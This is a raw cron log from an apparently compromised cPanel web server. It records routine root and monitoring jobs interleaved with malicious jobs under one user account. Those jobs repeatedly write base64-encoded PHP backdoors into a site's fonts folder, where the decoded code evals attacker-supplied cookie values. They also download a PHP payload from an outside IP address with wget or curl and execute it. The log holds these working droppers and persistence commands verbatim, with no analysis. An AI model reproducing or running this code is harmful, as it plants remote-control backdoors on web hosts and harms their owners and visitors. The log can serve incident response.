Sep 11 09:09:01 ip-184-168-122-23 CROND[4951]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 09:09:01 ip-184-168-122-23 CROND[4953]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 09:09:01 ip-184-168-122-23 CROND[4954]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 11 09:09:01 ip-184-168-122-23 CROND[4955]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 09:09:01 ip-184-168-122-23 CROND[4958]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 09:10:01 ip-184-168-122-23 CROND[5075]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 09:10:01 ip-184-168-122-23 CROND[5076]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 11 09:10:01 ip-184-168-122-23 CROND[5080]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 09:10:01 ip-184-168-122-23 CROND[5084]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 09:10:01 ip-184-168-122-23 CROND[5085]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 09:10:02 ip-184-168-122-23 CROND[5086]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 09:10:02 ip-184-168-122-23 CROND[5087]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 09:10:02 ip-184-168-122-23 CROND[5092]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 09:11:01 ip-184-168-122-23 CROND[5184]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 09:11:01 ip-184-168-122-23 CROND[5185]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 09:11:01 ip-184-168-122-23 CROND[5186]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 09:11:01 ip-184-168-122-23 CROND[5187]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 09:12:01 ip-184-168-122-23 CROND[5296]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 09:12:01 ip-184-168-122-23 CROND[5298]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 09:12:01 ip-184-168-122-23 CROND[5301]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 09:12:01 ip-184-168-122-23 CROND[5299]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 09:12:01 ip-184-168-122-23 CROND[5300]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 09:13:01 ip-184-168-122-23 CROND[5513]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 09:13:01 ip-184-168-122-23 CROND[5514]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 09:13:01 ip-184-168-122-23 CROND[5516]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 09:13:01 ip-184-168-122-23 CROND[5518]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 09:14:01 ip-184-168-122-23 CROND[5601]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 09:14:01 ip-184-168-122-23 CROND[5603]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 09:14:01 ip-184-168-122-23 CROND[5605]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 09:14:01 ip-184-168-122-23 CROND[5606]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 09:14:01 ip-184-168-122-23 CROND[5607]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 09:15:01 ip-184-168-122-23 CROND[5712]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 09:15:01 ip-184-168-122-23 CROND[5714]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 09:15:01 ip-184-168-122-23 CROND[5716]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 09:15:01 ip-184-168-122-23 CROND[5718]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 09:15:01 ip-184-168-122-23 CROND[5717]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 09:15:01 ip-184-168-122-23 CROND[5719]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 09:16:01 ip-184-168-122-23 CROND[5823]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 09:16:01 ip-184-168-122-23 CROND[5824]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 09:16:01 ip-184-168-122-23 CROND[5825]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 09:16:01 ip-184-168-122-23 CROND[5827]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 11 09:16:01 ip-184-168-122-23 CROND[5828]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 09:16:01 ip-184-168-122-23 CROND[5826]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 09:17:01 ip-184-168-122-23 CROND[5916]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 09:17:01 ip-184-168-122-23 CROND[5918]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 09:17:01 ip-184-168-122-23 CROND[5919]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 09:17:01 ip-184-168-122-23 CROND[5917]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 09:18:01 ip-184-168-122-23 CROND[6094]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 09:18:01 ip-184-168-122-23 CROND[6098]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 09:18:01 ip-184-168-122-23 CROND[6096]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 09:18:01 ip-184-168-122-23 CROND[6099]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 09:18:01 ip-184-168-122-23 CROND[6097]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 09:19:01 ip-184-168-122-23 CROND[6216]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 09:19:01 ip-184-168-122-23 CROND[6218]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 09:19:01 ip-184-168-122-23 CROND[6220]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 09:19:01 ip-184-168-122-23 CROND[6221]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 09:20:01 ip-184-168-122-23 CROND[6323]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 11 09:20:01 ip-184-168-122-23 CROND[6325]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 09:20:01 ip-184-168-122-23 CROND[6327]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 09:20:01 ip-184-168-122-23 CROND[6329]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 09:20:01 ip-184-168-122-23 CROND[6330]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 11 09:20:01 ip-184-168-122-23 CROND[6332]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 09:20:01 ip-184-168-122-23 CROND[6333]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 09:20:01 ip-184-168-122-23 CROND[6338]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 09:20:01 ip-184-168-122-23 CROND[6339]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 09:21:01 ip-184-168-122-23 CROND[6443]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 09:21:01 ip-184-168-122-23 CROND[6445]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
